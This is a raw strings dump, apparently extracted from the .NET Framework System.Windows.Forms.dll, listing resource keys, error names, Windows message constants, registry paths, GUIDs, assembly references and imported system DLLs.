DataGridViewCell_CannotSetReadOnlyState DataGridViewCell_CannotSetSelectedState < > " &  
DataGridViewCell_FormattedValueTypeNull DataGridViewCell_FormattedValueHasWrongType constraintSize DataGridView_CellNeedsDataGridViewForInheritedStyle DataGridView_InvalidPropertyGetOnSharedCell Size maxWidth InvalidLowBoundArgument flags maxRatio maxHeight DataGridViewCell_ValueTypeNull formattedValue DataGridViewCell { ColumnIndex= DataGridViewCellCollection_CellAlreadyBelongsToDataGridView DataGridViewCellCollection_CellAlreadyBelongsToDataGridViewRow DataGridViewColumnCollection_ColumnNotFound columnName DataGridViewCellCollection_OwningRowAlreadyBelongsToDataGridView dataGridViewCells DataGridViewCellCollection_AtLeastOneCellIsNull DataGridViewCellCollection_CannotAddIdenticalCells DataGridViewCellCollection_CellNotFound dataGridView DataGridView_InvalidDataGridViewPaintPartsCombination paintParts DataGridViewElementPaintingEventArgs_RowIndexOutOfRange DataGridViewElementPaintingEventArgs_ColumnIndexOutOfRange dataGridViewCellStyle DataGridViewCellStyle { BackColor= ForeColor= SelectionBackColor= SelectionForeColor= Font= NullValue= DataSourceNullValue= Format= WrapMode= Alignment= Padding= Tag= DataGridViewCheckBoxCell_InvalidValueType DataGridViewCheckBoxCell_ClipboardChecked DataGridViewCheckBoxCell_ClipboardIndeterminate DataGridViewCheckBoxCell_ClipboardUnchecked DataGridViewCheckBoxCell_ClipboardFalse DataGridViewCheckBoxCell_ClipboardTrue DataGridViewCheckBoxCell { ColumnIndex= System.Windows.Forms.DataGridViewCheckBoxCell DataGridViewCheckBoxColumn { Name= DataGridViewColumn_AutoSizeCriteriaCannotUseInvisibleHeaders DataGridViewColumn_FrozenColumnCannotAutoFill DataGridViewColumn_DisplayIndexTooLarge DataGridViewColumn_DisplayIndexNegative DataGridViewColumn_DisplayIndexExceedsColumnCount DataGridViewColumn_DisplayIndexTooNegative FillWeight DataGridView_ColumnBoundToAReadOnlyFieldMustRemainReadOnly DataGridViewColumn { Name= DataGridView_ForbiddenOperationInEventHandler dataGridViewColumns excludeFilter dataGridViewColumnStart DataGridView_CellDoesNotYetBelongToDataGridView DataGridViewColumnHeaderCell_SortModeAndSortGlyphDirectionClash DataGridViewColumnHeaderCell { ColumnIndex= DataGridViewComboBoxCell_DropDownWidthOutOfRange DataGridViewComboBoxCell_MaxDropDownItemsOutOfRange DataGridViewComboBoxCell_InvalidValue DataGridViewComboBoxCell_FieldNotFound Formatter_CantConvert DataGridViewComboBoxCell { ColumnIndex= System.Windows.Forms.DataGridViewComboBoxCell DataGridViewComboBoxColumn { Name= DataGridView_CannotThrowNullException DataGridView_HeaderCellReadOnlyProperty Aero.msstyles DataGridViewHeaderCell { ColumnIndex= ImageInError.bmp IconInError.ico DataGridViewImageCell { ColumnIndex= System.Windows.Forms.DataGridViewImageCell DataGridViewImageColumn { Name= DataGridViewLinkCell { ColumnIndex= System.Windows.Forms.DataGridViewLinkCell DataGridViewLinkColumn { Name= DefaultCellStyle DataGridView_InvalidPropertyGetOnSharedRow Displayed Frozen InheritedStyle Resizable Visible values DataGridView_RowDoesNotYetBelongToDataGridView DataGridView_InvalidOperationOnSharedRow DataGridView_InvalidOperationInVirtualMode DataGridViewRow { Index= DataGridViewRowCollection_AddUnboundRow DataGridViewRowCollection_NoColumns DataGridViewRowCollection_RowTemplateTooManyCells count DataGridViewRowCollection_CountOutOfRange indexSource DataGridViewRowCollection_IndexSourceOutOfRange dataGridViewRows DataGridViewRowCollection_CantClearRowCollectionWithWrongSource indexStart DataGridViewRowCollection_RowIndexOutOfRange DataGridViewRowCollection_IndexDestinationOutOfRange DataGridViewRowCollection_NoInsertionAfterNewRow indexDestination DataGridView_RowMustBeUnshared DataGridViewRowCollection_CannotDeleteNewRow DataGridViewRowCollection_CantRemoveRowsWithWrongSource DataGridViewRow.left.ico DataGridViewRow.leftstar.ico DataGridViewRow.pencil_ltr.ico DataGridViewRow.pencil_rtl.ico DataGridViewRow.right.ico DataGridViewRow.rightstar.ico DataGridViewRow.star.ico DataGridViewRowHeaderCell { RowIndex= inheritedRowStyle rowCount DataGridView_ReadOnlyCollection MaxInputLength DataGridViewTextBoxCell { ColumnIndex= System.Windows.Forms.DataGridViewTextBoxCell DataGridViewTextBoxColumn { Name= DataGridViewTopLeftHeaderCell textData ExternalException FileName FileNameW FD9EA796-3B13-4370-A679-56106BB288FB DataStreamWrite SysDateTimePick32 MaxDate MinDate DateTimePickerMaxDate InvalidHighBoundArgument DateTimePickerMinDate Value 'MinDate' 'MaxDate' , Value: DateTimePickerLocalizedControlType , SelectedIndex: was: {0}, now: {1} peer BlinkRate BlinkRateMustBeZeroOrMore Error.ico FileDialogInvalidFilter FileDialogInvalidFilterIndex |*.* FileDialogFileNotFound DebuggingExceptionOnly : Title: , FileName: {0} Path: {1} KnownFolderGuid: {2} BorderSize ButtonFlatAppearanceInvalidBorderColor FolderBrowserDialogNoRootFolder , Font: wfc.ico wfsecurity.ico MaximumSize MinimumSize AddDifferentThreads FormMDIParentAndChild MDIParentNotContainer NonTopLevelCantHaveOwner MDIContainerMustBeTopLevel Close The quick brown fox jumped over the lazy dog. SecurityRestrictedWindowTextUnknownZone SecurityRestrictedWindowTextUnknownSite SecurityRestrictedWindowTextMixedZone SecurityRestrictedWindowTextMultipleSites TooManyResumeUpdateMenuHandles OwnsSelfOrOwner Show ShowDialogOnVisible ShowDialogOnDisabled ShowDialogOnNonTopLevel show owner showDialog ShowDialogOnModal Formatter_CantConvertNull GridItemNotExpandable param Integer HelpInvalidURL http https .chm .col {HelpFilePath= , keyword = , navigator= navigator , HelpNamespace: HtmlDocumentInvalidDomain replace text/html HtmlElementPropertyNotSupported HtmlElementMethodNotSupported HtmlElementAttributeNotSupported numberBack numberForward [DISPID=0] _blank windowId toStringNone Parent ColorDepth ImageSize Size.Empty ImageSize.Width ImageSize.Height ImageListStripBadWidth original ImageListImageTooShort ImageListAddFailed ImageListCreateFailed ImageListCantRecreate Images.Count: , ImageSize: ImageListStreamerLoadFailed ImageListStreamerSaveFailed inputLanguage ErrorBadInputLanguage SYSTEM\CurrentControlSet\Control\Keyboard Layouts\ Layout Display Name Layout Text Keyboard Layout\Substitutes SYSTEM\CurrentControlSet\Control\Keyboard Layouts Layout Id UnknownInputLanguageLayout 0000000000000000 toStringEnter toStringEnd toStringControl toStringAlt toStringPageDown toStringInsert toStringHome toStringDelete toStringShift toStringPageUp toStringBack KeysConverterInvalidKeyCombination KeysConverterInvalidKeyName STATIC {Start= , Length= TextParseFailedFormat Start, Length LinkArea LinkLabelAreaStart LinkLabelAreaLength LinkBehavior LinkLabelOverlap Software\Microsoft\Internet Explorer\Settings Anchor Color Anchor Color Visited Anchor Color Hover Software\Microsoft\Internet Explorer\Main Anchor Underline hover FormattingEnabled DataSourceUpdateMode NullValue FormatString FormatInfo DataSource DataMember PropertyValueInvalidEntry LISTBOX ListBoxVarHeightMultiCol InvalidExBoundArgument ListBoxInvalidSelectionMode IndexOutOfRange ListBoxItemOverflow , Items[0]: ListControlWrongValueMember ListControlEmptyValueMemberInSettingSelectedValue ListControlWrongDisplayMember newDisplayMember ListViewActivationMustBeOnWhenHotTrackingIsOn ListViewCheckBoxesNotSupportedInTileView SysListView32 ListViewGroupDefaultGroup ListViewHoverMustBeOnWhenHotTrackingIsOn TileSize ListViewTileSizeMustBePositive ListViewGetTopItem ListViewSetTopItem ListViewTileViewDoesNotSupportCheckBoxes ListViewCantSetViewToTileViewInVirtualMode ListViewVirtualListSizeInvalidArgument ListViewVirtualListViewRequiresNoItems ListViewVirtualListViewRequiresNoCheckedItems ListViewVirtualListViewRequiresNoSelectedItems ListViewCantSetVirtualModeWhenInTileView ListViewFindNearestItemWorksOnlyInIconView searchDirection portion itemIndex subItemIndex OnlyOneControl ListViewAddColumnFailed item ListViewAddItemFailed endIndex ListViewStartIndexCannotBeLargerThanEndIndex TEMP ListViewColumnInfoSet ListViewSortNotAllowedInVirtualListView null ListViewVirtualItemRequired ListViewVirtualModeCantAccessSubItem ListViewGroupDefaultHeader Header HeaderAlignment ItemsCount IndentCount ListViewIndentCountCantBeNegative StateImageIndex ListViewBeginEditFailed ImageKey SubItemCount Checked UseItemStyleForSubItems Group SubItem ListViewItem: { Switch.System.Windows.Forms.EnableLegacyDangerousClipboardDeserializationMode Switch.System.Windows.Forms.EnableLegacyChineseIMEIndicator Switch.System.Windows.Forms.EnableLegacyIMEFocusInComboBox Switch.System.Windows.Forms.AccessibleObject.NoClientNotifications Switch.System.Windows.Forms.FreeControlsForRefCountedAccessibleObjectsInLevel5 MaskedTextBoxMaskInvalidChar MaskedTextBoxInvalidCharError MaskedTextBoxPasswordAndPromptCharError MaskedTextBoxIncompleteMsg MaskedTextBoxTypeValidationSucceeded MDICLIENT ErrorSettingWindowRegion &{0} {1} MDIMenuMoreWindows itemList okButton cancelButton okCancelTableLayoutPanel MdiWindowDialog MenuMergeWithSelf menuSrc MenuItemInvalidCheckProperty Index buttons icon defaultButton CantShowMBServiceWithOwner options CantShowMBServiceWithHelp shell32.dll WM_NULL WM_CREATE WM_DESTROY WM_MOVE WM_SIZE WM_ACTIVATE WM_SETFOCUS WM_KILLFOCUS WM_ENABLE WM_SETREDRAW WM_SETTEXT WM_GETTEXT WM_GETTEXTLENGTH WM_PAINT WM_CLOSE WM_QUERYENDSESSION WM_QUIT WM_QUERYOPEN WM_ERASEBKGND WM_SYSCOLORCHANGE WM_ENDSESSION WM_SHOWWINDOW WM_WININICHANGE WM_DELEAR WM_UNDO WM_RENDERFORMAT WM_RENDERALLFORMATS WM_DESTROYCLIPBOARD WM_DRAWCLIPBOARD WM_PAINTCLIPBOARD WM_VSCROLLCLIPBOARD WM_SIZECLIPBOARD WM_ASKCBFORMATNAME WM_CHANGECBCHAIN WM_HSCROLLCLIPBOARD WM_QUERYNEWPALETTE WM_PALETTEISCHANGING WM_PALETTECHANGED WM_HOTKEY WM_PRINT WM_PRINTCLIENT WM_HANDHELDFIRST WM_HANDHELDLAST WM_AFXFIRST WM_AFXLAST WM_PENWINFIRST WM_PENWINLAST WM_APP WM_USER WM_CTLCOLOR EM_GETLIMITTEXT EM_POSFROMCHAR EM_CHARFROMPOS EM_SCROLLCARET EM_CANPASTE EM_DISPLAYBAND EM_EXGETSEL EM_EXLIMITTEXT EM_EXLINEFROMCHAR EM_EXSETSEL EM_FINDTEXT EM_FORMATRANGE EM_GETCHARFORMAT EM_GETEVENTMASK EM_GETOLEINTERFACE EM_GETPARAFORMAT EM_GETSELTEXT EM_HIDESELECTION EM_PASTESPECIAL EM_REQUESTRESIZE EM_SELECTIONTYPE EM_SETBKGNDCOLOR EM_SETCHARFORMAT EM_SETEVENTMASK EM_SETOLECALLBACK EM_SETPARAFORMAT EM_SETTARGETDEVICE EM_STREAMIN EM_STREAMOUT EM_GETTEXTRANGE EM_FINDWORDBREAK EM_SETOPTIONS EM_GETOPTIONS EM_FINDTEXTEX EM_GETWORDBREAKPROCEX EM_SETWORDBREAKPROCEX EM_SETUNDOLIMIT EM_REDO EM_CANREDO EM_GETUNDONAME EM_GETREDONAME EM_STOPGROUPTYPING EM_SETTEXTMODE EM_GETTEXTMODE EM_AUTOURLDETECT EM_GETAUTOURLDETECT EM_SETPALETTE EM_GETTEXTEX EM_GETTEXTLENGTHEX EM_SETPUNCTUATION EM_GETPUNCTUATION EM_SETWORDWRAPMODE EM_GETWORDWRAPMODE EM_SETIMECOLOR EM_GETIMECOLOR EM_SETIMEOPTIONS EM_GETIMEOPTIONS EM_CONVPOSITION EM_SETLANGOPTIONS EM_GETLANGOPTIONS EM_GETIMECOMPMODE EM_FINDTEXTW EM_FINDTEXTEXW EM_RECONVERSION EM_SETIMEMODEBIAS EM_GETIMEMODEBIAS EM_SETBIDIOPTIONS EM_GETBIDIOPTIONS EM_SETTYPOGRAPHYOPTIONS EM_GETTYPOGRAPHYOPTIONS EM_SETEDITSTYLE EM_GETEDITSTYLE WM_REFLECT + msg=0x hwnd=0x wparam=0x lparam=0x result=0x SOFTWARE\Microsoft\.NETFramework AllowWindowsFormsReentrantDestroy SysMonthCal32 FirstDayOfWeek MaxSelectionCount MonthCalendarMaxSelCount ScrollChange SelectionEnd InvalidSingleMonthSize TodayDate MonthCalendarRange MonthCalendarInvalidDimensions date date1 date2 WinFormsMouseEnter WinFormsUnSubclass Software\Microsoft\.NETFramework DbgJITDebugLaunchSetting DbgManagedDebugger DefWindowProcW DefWindowProcA HandleAlreadyExists ErrorCreatingHandle ApplicationCannotChangeApplicationExceptionMode ApplicationCannotChangeThreadExceptionMode mode TrayIcon_TextTooLong timeout NotifyIconEmptyOrNullTipText tipIcon TaskbarCreated DecimalPlaces Increment 'Minimum' 'Maximum' , Minimum = , Maximum = seconds NumericUpDownLessThanZeroError increment acceleration accelerations NumericUpDownAccelerationCollectionAtLeastOneEntryIsNull Opacity 100% FileDialogInvalidFileName FileDialogSubLassFailure FileDialogBufferTooSmall {Left= ,Top= ,Right= ,Bottom= left, top, right, bottom context propertyValues [Invalid BorderStyle] , BorderStyle: PictureBox.Loading.bmp PictureBoxNoImageLocation , SizeMode: luna.msstyles NormalColor HomeStead Metallic aero.msstyles royale.msstyles Royale msctls_progress32 MarqueeAnimationSpeed must be non-negative Maximum Minimum 'minimum' 'maximum' ProgressBarIncrementMarqueeException ProgressBarPerformStepMarqueeException , Minimum: , Maximum: PropertyGridToolbarAccessibleName Property Grid PropertyGridToolBar Hot commands PropertyGrid PropertyGridSetNull PropertyGridRemotedObject PropertyGridTabScope PropertyGridNoBitmap PropertyGridTabName PbrsAlpha PbrsShowDesc PbrsShowCommands PbrsDescHeightRatio PbrsHotCommandHeightRatio PropertyGridPropertyValueSelectedFormat ErrorPropertyPageFailed PropertyGridTitle PropertyGridRemoveStaticTabs tabIndex PropertyGridBadTabIndex PBRSToolTipAlphabetic PBRSToolTipCategorized PBRSToolTipPropertyPages PBAlpha.bmp PBCatego.bmp PBPPage.bmp \Maui .log PropertyManagerPropDoesNotExist DataBindingAddNewNotSupportedOnPropertyManager DataBindingRemoveAtNotSupportedOnPropertyManager , Checked: RichTextDbg Debug info about RichTextBox BulletIndent MsftEdit.DLL RichEd20.DLL RICHEDIT50A RichEdit20A RICHEDIT50W RichEdit20W RightMargin DISPLAY SelectionCharOffset SelectionRightIndent SelectionTabs SelTabCountRange RichTextBox_IDUnknown RichTextBox_IDTyping RichTextBox_IDDelete RichTextBox_IDDragDrop RichTextBox_IDCut RichTextBox_IDPaste ZoomFactor RichTextFindEndInvalid characterSet fileType InvalidFileType UnknownAttr InvalidFileFormat LoadTextError SaveTextError OutOfMemory {\rtf FileDialogCreatePrompt FileDialogOverwritePrompt [Bounds= WorkingArea= Primary= DeviceName= AutoScrollMargin SCROLLBAR LargeChange SmallChange SelectionRange: Start: , End: Start End ENTER ESCAPE HOME LEFT RIGHT DOWN PGUP PGDN NUMLOCK SCROLLLOCK PRTSC BREAK BACKSPACE BKSP CLEAR CAPSLOCK INSERT DELETE HELP MULTIPLY SUBTRACT DIVIDE SendKeysHookFailed SendKeys JournalHook SendInput InvalidSendKeysString SendKeysKeywordDelimError InvalidSendKeysRepeat InvalidSendKeysKeyword SendKeysNestingError SendKeysGroupDelimError SendKeysNoMessageLoop SplitterDistance SplitterDistanceNotAllowed SplitterIncrement Panel1MinSize Panel2MinSize SplitterWidth SplitterInvalidDockEnum , MinExtra: , MinSize: SplitContainerPanelHeight SplitContainerPanelWidth msctls_statusbar32 , Panels.Count: , Panels[0]: MinWidth WidthGreaterThanMinWidth UnableToSetPanelText StatusBarPanel: { ArraysNotSameSize keys items {00BB2763-6A77-11D0-A535-00C04FD7D062} MSH_SCROLL_LINES_MSG SystemInformationFeatureNotSupported _TabBaseReLayout SysTabControl32 ItemSize Padding tabPage tabPageName , TabPages.Count: , TabPages[0]: TableLayoutSettingSettingsIsNotSupported column, row Column SerializedString GrowStyle ColumnSpan RowSpan style imageIndex TABCONTROLTabPageNotOnTabControl TabPage: { TextBoxAutoCompleteSourceNoItems ListItems ExDlgWarningText ExDlgSecurityErrorText ExDlgErrorText ExDlgSecurityContinueErrorText ExDlgContinueErrorText ExDlgMsgSeperator ExDlgMsgSectionSeperator ExDlgMsgHeaderNonSwitchable ExDlgMsgHeaderSwitchable ExDlgMsgExceptionSection ExDlgMsgLoadedAssembliesSection NotAvailable ExDlgMsgLoadedAssembliesEntry ExDlgMsgJITDebuggingSection ExDlgMsgFooterNonSwitchable ExDlgMsgFooterSwitchable ExDlgCaption ExDlgCaption2 ExDlgContinue ExDlgQuit ExDlgHelp ExDlgShowDetails down.bmp up.bmp Interval TimerInvalidInterval , Interval: ButtonSize ToolbarWindow32 button , Buttons.Count: , Buttons[0]: ToolBarButtonNotFound ToolBarButtonInvalidDropDownMenuType ToolBarButton: , Style: ToolStripDoesntSupportAutoScroll ToolStripAllowItemReorderAndAllowDropCannotBeSetToTrue ToolStripRenderModeUseRendererPropertyInstead TextDirection ShowKeyboardFocusCues ToolStripCanOnlyPositionItsOwnItems , Name: , Items: ToolStripMustSupplyItsOwnComboBox ControlCannotBeNull ToolStripShowDropDownInvalidOperation Overflow ownerItem toolStripItems ToolStripItemCollectionIsReadOnly ToolStripItemCircularReference FindKeyMayNotBeEmptyOrNull ToolStripCollectionMustInsertAndRemove targetForm sourceForm sourceToolStrip targetToolStrip ToolStripMergeImpossibleIdentical targetName MergeAction: | TargetItem: Index: IndeterminateChecked.ico IndeterminateChecked.bmp Checked.ico Checked.bmp ShortcutKeys ShortcutKeyDisplayString parentItem RowMargin toolStripToDrag OVERLAP detection: {0}: {1} row {2} row bounds {3} unknown {0}: {1} row {2} row bounds {3} TypedControlCollectionShouldBeOfType ScrollButtonDown.bmp ScrollButtonUp.bmp IsDefault ItemOrder Location ToolStripPanelName (\S+) DropDownButtonWidth ToolStripSplitStackLayoutContainerMustBeAToolStrip cont AutomaticDelay AutoPopDelay ToolTipEmptyColor InitialDelay ReshowDelay ToolTipAddFailed duration window tool Unsupported location index value InitialDelay: , ShowAlways: msctls_trackbar32 TrackBarLargeChangeError TrackBarSmallChangeError TreeNodeNoParent TreeNodeBeginEditFailed PropBag ToolTipText IsChecked SelectedImageIndex SelectedImageKey StateImageKey ChildCount UserData children InvalidCrossThreadControlCall TreeNode: TreeNodeCollectionBadTreeNode nodes node SysTreeView32 Indent , Nodes.Count: , Nodes[0]: toStringDefault 8856f961-340a-11d0-a96b-00c04fd705a2 about:blank WebBrowserObjectForScriptingComVisibleOnly mshtml.dll WebBrowserInIENotSupported WebBrowserNavigateAbsoluteUri WebBrowserNoCastToIWebBrowser2 WebBrowserAllowDropNotSupported WebBrowserBackgroundImageNotSupported WebBrowserBackgroundImageLayoutNotSupported WebBrowserCursorNotSupported WebBrowserEnabledNotSupported WebBrowserRightToLeftNotSupported WebBrowserTextNotSupported WebBrowserUseWaitCursorNotSupported Enter Leave MouseCaptureChanged AXDuplicateControl AXWindowlessControl http:// WinFormsCategory system.windows.forms jitDebugging SecurityDemand Trace when security demands occur. Handle is IntPtr.Zero System.Runtime.Versioning.BinaryCompatibility TargetsAtLeast_Desktop_V4_5 PSDcantShowWithoutPage PrintControllerWithStatusDialog_DialogTitlePrint PDpageOutOfRange FromPage ToPage Columns Rows StartPage PrintPreviewControlZoomNegative PrintControllerWithStatusDialog_DialogTitlePreview PrintPreviewExceptionPrinting PrintPreviewNoPages PrintPreviewStrip.bmp toolStrip1 printToolStripButton printToolStripButton.AccessibleNameLevel5 zoomToolStripSplitButton autoToolStripMenuItem toolStripMenuItem1 toolStripMenuItem2 toolStripMenuItem3 toolStripMenuItem4 toolStripMenuItem5 toolStripMenuItem6 toolStripMenuItem7 toolStripMenuItem8 separatorToolStripSeparator onepageToolStripButton twopagesToolStripButton threepagesToolStripButton fourpagesToolStripButton sixpagesToolStripButton separatorToolStripSeparator1 closeToolStripButton pageCounter pageToolStripLabel PrintPreviewDialog_PrintPreview VisualStyleNotActive VisualStylesDisabledInClientArea className VisualStylesInvalidCombination edges effects imageList childControl prop textToDraw DisplayName Company Author Copyright ComponentEditorFormBadComponent CloseCaption DialogFont ComponentEditorFormProperties ComponentEditorFormPropertiesNoName HelpCaption ApplyCaption CancelCaption OKCaption ComponentEditorPage.ico PBRSToolTipEvents Events .bmp CAMarshal BaseCAMarshaler: Debug CA* struct marshaling About AboutBoxDesc PropertyPages COM2NamesAndValuesNotEqual PropertyCategoryMisc PropertyCategoryFont PropertyCategoryPosition PropertyCategoryAppearance PropertyCategoryBehavior PropertyCategoryData PropertyCategoryList PropertyCategoryText PropertyCategoryScale PropertyCategoryDDE (Object) Icon COM2BadHandlerType DbgCom2Properties Com2Properties: debug Com2 properties manager {66504301-BE0F-101A-8BBB-00AA00300CAB} DispInvokeFailed GetValue COM2ReadonlyProperty SetValue ErrorTypeConverterFailed COM2InteropEmit COM2Interop.Emit __id TYPEINFOPROCESSORGetTypeAttrFailed TYPEINFOPROCESSORGetRefTypeInfoFailed TYPEINFOPROCESSORGetDocumentationFailed COM2UnhandledVT VT_USERDEFINED Control TableLayoutSettings Controls {0},{1}, Styles LayoutEngineUnsupportedType Alignment Anchor AutoScroll AutoSize AutoEllipsis BorderStyle Bounds CheckAlign ChildIndex ColumnHeadersVisible ColumnStyles Dock DisplayRectangle DisplayStyle DrawMode FlatAppearance.BorderSize FlatStyle FlowBreak FlowDirection GripStyle Image ImageScaling ImageScalingSize ImageAlign Items LayoutSettings Links LayoutStyle Margin Multiline Orientation PreferredSize RightToLeftLayout RowHeadersVisible RowStyles Renderer ScrollBars ShowDropDownArrow ShowCheckMargin Spring Style TableIndex TextAlign TextImageRelation UseCompatibleTextRendering WordWrap WrapContents array TableLayoutPanelFullDesc TableLayoutPanelSpanDesc RowPosition ColumnPosition Microsoft Sans Serif [{0}: Name={1}, Size={2} points, Height={3} pixels, Sytle={4}] {0}: Style={1}, Color={2}, Width={3}, Brush={4} {0}: Color={1} 0x{0:x8} - {1} at {0} {1}.{2}({3}) Top Stack Trace: enclosingElement provider unit PropertyGridView Arrow.ico dotdotdot.ico PropertyGridInvalidGridEntry , value type= , value= , flags= , TypeConverter= , UITypeEditor= (unknown) PBRSFormatExceptionMessage PBRSErrorTitle PBRSErrorInvalidPropertyValue Keyword GridViewDebugPaint PropertyGridView: Debug property painting object = ( ), Category = ( PBRSDocCommentPaneTitle PropertyGridDropDownButtonComboBoxAccessibleName PropertyGridDropDownButtonAccessibleName GridItemDisposed ), property = ( ), value = [ ], expandable = , readOnly = PbrsAssertProps PropertyBrowser : Assert on broken properties ExDlgDetailsText ExDlgOk ExDlgCancel lblMessage pictureBox detailsBtn overarchingTableLayoutPanel buttonTableLayoutPanel okBtn cancelBtn pictureLabelTableLayoutPanel details Form1 Command Pane ExceptionCreatingObject PropertyGridResetValue PBRSToolTipProperties vs.properties PropertyGridSetValue WindowsFormsSetEvent {a72bd644-1979-4cbc-a620-ea4112198a66} {5a51cf82-7619-4a5d-b054-47f438425aa7} .ico dataStream Wrote an incorrect number of bytes UnsafeNativeMethodsNotImplemented IsFullTrust 2ad613da-6fdb-4671-af9e-18ab2e4df4d8 {3f471841-eef2-47d6-89c0-d028f03a4ad5} 000C060B-0000-0000-C000-000000000046 {000C0601-0000-0000-C000-000000000046} CantNestMessageLoops WindowsFormsParkingWindow AXNoEventInterface AXNoSinkImplementation AXNoSinkAdvise AXNoConnectionPointContainer AXNoConnectionPoint AXInvalidMethodInvoke AXInvalidPropertyGet AXInvalidPropertySet host [DISPID= PropertyBagBinary AccessibleActionUncheck AccessibleActionCheck CheckedListBoxCheckedIndexCollectionIsReadOnly CheckedListBoxCheckedItemCollectionIsReadOnly 1001 1000 ComboboxDropDownButtonOpenName ComboboxDropDownButtonCloseName Auto-Suggest Dropdown TopLevelControlAdd ControlBadControl controls ControlNotChild child AXProperties BackgroundImage BindingContext Shutdown ControlAxSourcingSite Startup size ControlMetaFileDCWrapperSizeInvalid ownerControl oleacc.dll Alt+ OwnerControlIsNotALiveRegion ControlAccessibleObject: Owner = ControlAccessibleObject: Owner = null DataGrid Inside = TopLeftHeader = ColumnHeaders = RowHeaders = Data = Caption = ParentRows = ResizeBoxRect = ColumnHeadersVisible = RowHeadersVisible = CaptionVisible = ParentRowsVisible = ClientRectangle = ParentRows Layout: data = leftArrow = rightArrow = AccDGNavigateBack AccDGParentRows AccDGCollapse AccDGExpand AccDGNavigate AccDGNewRow AccDGEdit AccDGParentRow DataGridView NotSortedAccessibleStatus DataGridViewSortedAscendingAccessibleStatusFormat DataGridViewSortedDescendingAccessibleStatusFormat DataGridViewEditingPanelUiaProviderDescription { Type: , Column: , Row: DataGridView_AccSelectedCellsName DataGridViewTopRowAccessibleObject_OwnerNotSet DataMenuItemAlreadyExists MenuBadMenuItem MonthCalendarSingleDateSelected MonthCalendarRangeSelected MonthCalendarSingleYearSelected yyyy MonthCalendarYearRangeSelected MonthCalendarSingleDecadeSelected {0} - {1} MonthCalendarWeekNumberDescription dddd {0:D} {0:Y} {0:yyy} {0:yyy} - {1:yyy} CalendarNextButtonAccessibleObjectDescription MonthCalendarNextButtonAccessibleName CalendarPreviousButtonAccessibleObjectDescription MonthCalendarPreviousButtonAccessibleName CalendarTodayLinkAccessibleObjectDescription MonthCalendarTodayButtonAccessibleName [SYSTEMTIME: Left = Top Right = Bottom = ConnPointUnhandledType CannotConvertIntToFloat CannotConvertDoubleToDate LVITEM: pszText = , iItem = , iSubItem = , state = , iGroupId = , cColumns = LVGROUP: header = {00000000-0000-0000-C000-000000000046} Accelerator EnhancedMetaFile Find ComptibleHDC Kernel Menu Window .app. Window. InvalidWndClsName Progress Bar is read-only. PropertyGridPropertyTabCollectionReadOnly 00000315-0000-0000-C000-000000000046 00000316-0000-0000-C000-000000000046 00000319-0000-0000-C000-000000000046 0003000A-0000-0000-C000-000000000046 ReadonlyControlsCollection StatusBarPanel ObjectHasParent StatusBarBadStatusBarPanel panels StatusBarAddFailed pages TabControlInvalidTabPageType TABCONTROLTabPageOnTabPage ToolBarBadToolBarButton service DropDown ToolStripGripAccessibleName AccessibleActionPress ToolStripItemAccessibleObject: Owner = ToolStripItemAccessibleObject: Owner = null ToolStripOptions ToolStripContainerUseContentPanel TypedControlCollectionShouldBeOfTypes ToolStripPanelRowControlCollectionIncorrectIndexLength unicode PrintControllerWithStatusDialog_NowPrinting PrintControllerWithStatusDialog_Cancel PrintControllerWithStatusDialog_Canceling PAGE SPIN EXPLORERBAR HEADER LISTVIEW MENUBAND MENU PROGRESS REBAR STARTPANEL STATUS TASKBAND CLOCK TASKBAR TOOLBAR TOOLTIP TRACKBAR TREEVIEW Explorer::TreeView TRAYNOTIFY WINDOW VisualStyleHandleCreationFailed form ExceptionCreatingCompEditorControl PropertyGridViewEditorCreatedInvalidObject PropertyGridDefaultAccessibleName CategoryPropertyGridLocalizedControlType AccessibleActionCollapse AccessibleActionExpand PropertyGridExceptionInfo HandleCollector.Add Move ListEnumVersionMismatch ListEnumCurrentOutOfRange UpDownBaseUpButtonAccName UpDownBaseDownButtonAccName 4.0.0.0 System.Windows.Forms.dll Microsoft Corporation. All rights reserved. 4.8.9221.0 30319 b77a5c561934e089 00000000000000000400000000000000 31bf3856ad364e35 0024000004800000940000000602000000240000525341310004000001000100B5FC90E7027F67871E773A8FDE8938C81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F45DEF46B2A2B1247ADC3652BF5C308055DA9 7cec85d7bea7798e 00240000048000009400000006020000002400005253413100040000010001008D56C76F9E8649383049F383C44BE0EC204181822A6C31CF5EB7EF486944D032188EA1D3920763712CCB12D75FB77E9811149E6148E5D32FBAAB37611C1878DDC19E20EF135D0CB2CFF2BFEC3D115810C3D9069638FE4BE215DBF795861920E5AB6F7DB2E2CEEF136AC23D5DD2BF031700AEC232F6C6B1C785B4305C123B37AB mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Data.OracleClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Numerics, Version=4.0.0.0, Culture=neut0a3a Microsoft.Web.Design.Client, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Microsoft.VSDesigner.Mobile, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Microsoft.JScript, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Switch.UseLegacyAccessibilityFeatures Switch.UseLegacyAccessibilityFeatures.2 Switch.UseLegacyAccessibilityFeatures.3 Switch.UseLegacyAccessibilityFeatures.4 Switch.UseLegacyAccessibilityFeatures.5 Switch.System.Windows.Forms.UseLegacyToolTipDisplay activeds.dll advapi32.dll comctl32.dll comdlg32.dll gdi32.dll gdiplus.dll hhctrl.ocx imm32.dll kernel32.dll Loadperf.dll mscoree.dll clr.dll msi.dll mqrt.dll ntdll.dll ole32.dll oleacc.dll oleaut32.dll olepro32.dll perfcounter.dll Powrprof.dll psapi.dll shell32.dll user32.dll uxtheme.dll winmm.dll winspool.drv wtsapi32.dll version.dll vsassert.dll Fxassert.dll shlwapi.dll crypt32.dll SHCore.dll wldp.dll odbc32.dll System.Data.dll oci.dll oramts.dll UIAutomationCore.dll 1.3.6.1.4.1.311.10.3.13 1.2.840.113549.1.9.5 